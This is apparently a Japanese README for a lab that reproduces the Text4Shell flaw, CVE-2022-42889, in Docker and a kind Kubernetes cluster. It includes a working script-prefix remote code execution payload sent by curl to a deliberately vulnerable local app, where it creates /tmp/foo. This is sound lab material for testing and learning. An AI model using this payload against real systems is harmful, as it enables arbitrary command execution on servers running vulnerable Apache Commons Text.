
CVE-2022-42889 用 Kubernetes ラボ
Docker イメージはローカルでビルドするか、Docker Hub からプルしてコンテナを実行できます。
git clone https://github.com/devenes/text4shell-cve-2022-42889.git
docker build --tag=text4shell .
docker run -d --rm -p 8080:8080 text4shell
docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0
search パラメータに文字列を渡してアプリをテストする:curl http://localhost/text4shell/attack?search=<anything>
${prefix:name} 形式の文字列を渡すことで実行できます:${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
curl を使用した攻撃:curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
dns や url のプレフィックスも試すことができます。docker container ls
docker exec -it <container_id> bash
/tmp ディレクトリに foo という名前のファイルが作成されているはずです:ls /tmp/
docker container stop <container_id>
kubernetes ディレクトリに移動し、README.md ファイルの指示に従います。cd kubernetes
kind create cluster --config kind-config.yaml
kubectl apply -f deployment.yaml
kubectl apply -f service.yaml
curl を使用して脆弱なアプリを攻撃するcurl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
kubectl get pods を使用してポッド名を取得するkubectl get pods
kubectl exec を使用してポッドに入るkubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash
ls /tmp/ | grep foo
参照: